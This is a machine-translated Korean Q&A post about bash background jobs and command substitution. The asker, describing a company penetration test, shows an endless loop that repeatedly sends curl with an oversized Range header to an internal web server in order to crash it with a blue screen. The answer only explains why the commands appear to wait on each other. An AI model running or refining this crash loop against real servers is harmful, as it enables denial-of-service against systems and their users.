Linux의 비동기 백그라운드 작업이 서로 간섭합니까?

Linux의 비동기 백그라운드 작업이 서로 간섭합니까?

나는 Linux 명령으로 반복을 시도했고 마침내 bash 스크립트를 사용하기로 결정했습니다. 명령은 대상 웹 서버에 블루 스크린을 표시하는 컬입니다. 저는 회사에서 침투 테스트를 하고 있습니다. 그래서 이 컬 명령을 무한히 반복하고 싶고 bash 스크립트 루프 명령을 성공적으로 사용했습니다. 최종 명령은 다음과 같습니다.

우분투 14.04 LTS 터미널:

while :; do $(curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-18446744073709551615" & sleep 5 & pkill curl); done

하지만 한 가지 명확하게 이해할 수 없는 점은 일부 기사와 Q&A에 따르면 (command1 & command2 & command3을 한 줄로)의 각 명령이 비동기식으로 실행되므로 서로 기다리지 않고 동시에 실행된다는 것입니다. 하지만 위 공격 코드의 결과에서는 "5초마다" 컬의 출력이 반복됩니다. 즉, 컬이 실행 중이고 5초를 기다린 후 컬이 중단됩니다. 그런 다음 컬을 다시 실행하십시오. 따라서 5초마다 출력이 다시 나타납니다. 그래서 이 명령들은 서로 간섭합니다. 하지만 인터넷 기사나 Q&A에서는 정반대를 말하고 있습니다. 누구든지 이것을 명확히 할 수 있습니까?

참고: 컬은 컬의 공격 매개변수로 인해 보류 상태에 있습니다. 완료되지 않았습니다. 따라서 저는 sleep 명령과 pkill 명령을 각각 사용합니다. 따라서 공격 매개변수와 함께 컬 명령을 정확하고 반복적으로 사용할 수 있습니다.

관련된 링크들:

1) (command1 & command2 & command3 &) 여러 작업을 병렬로 실행

Linux에서 여러 백그라운드 작업을 실행하는 방법은 무엇입니까?

2) (command1 & command2 & command3 &) 별도의 서브 쉘에서 동시에 실행

https://bashitout.com/2013/05/18/Ampersands-on-the-command-line.html

3) 비동기(멀티스레드) 다이어그램 예시

https://stackoverflow.com/questions/748175/asynchronous-vs-synchronous-execution-what-does-it-really-mean

답변1

다음과 같이 생각할 수 있습니다.

  • curl -v ..., sleep 5, pkill curl거의동시에 실행
  • 아마도 실행 중에 pkill curl첫 번째 curl명령이 일부 데이터를 수신했을 가능성이 큽니다. 그런 다음 그것은 죽었습니다.
  • $( ... )전체를 마무리하는 명령 대체는 모든 명령이 완료될 때까지 기다립니다. 바라보다백그라운드 프로세스가 끝날 때까지 함수가 반환되지 않는 이유는 무엇입니까?curl그런 다음에만 모든 출력, 즉 수신된 데이터가 표시됩니다 . 예를 들어 echo $(date & sleep 5); date이를 확인하려면 실행하세요. 첫 번째 출력이 나타날 때까지 기다려야 합니다.
  • 반복하다.

따라서 표시되는 출력은 curl(보다 정확하게는구현하다이 명령 대체의 출력(이유는 모르겠습니다)은 curl약 5초 후에 종료됩니다.

참고: 컬은 컬의 공격 매개변수로 인해 보류 상태에 있습니다.

"공격 매개변수"가 무엇을 의미하는지 잘 모르겠습니다.

관련 정보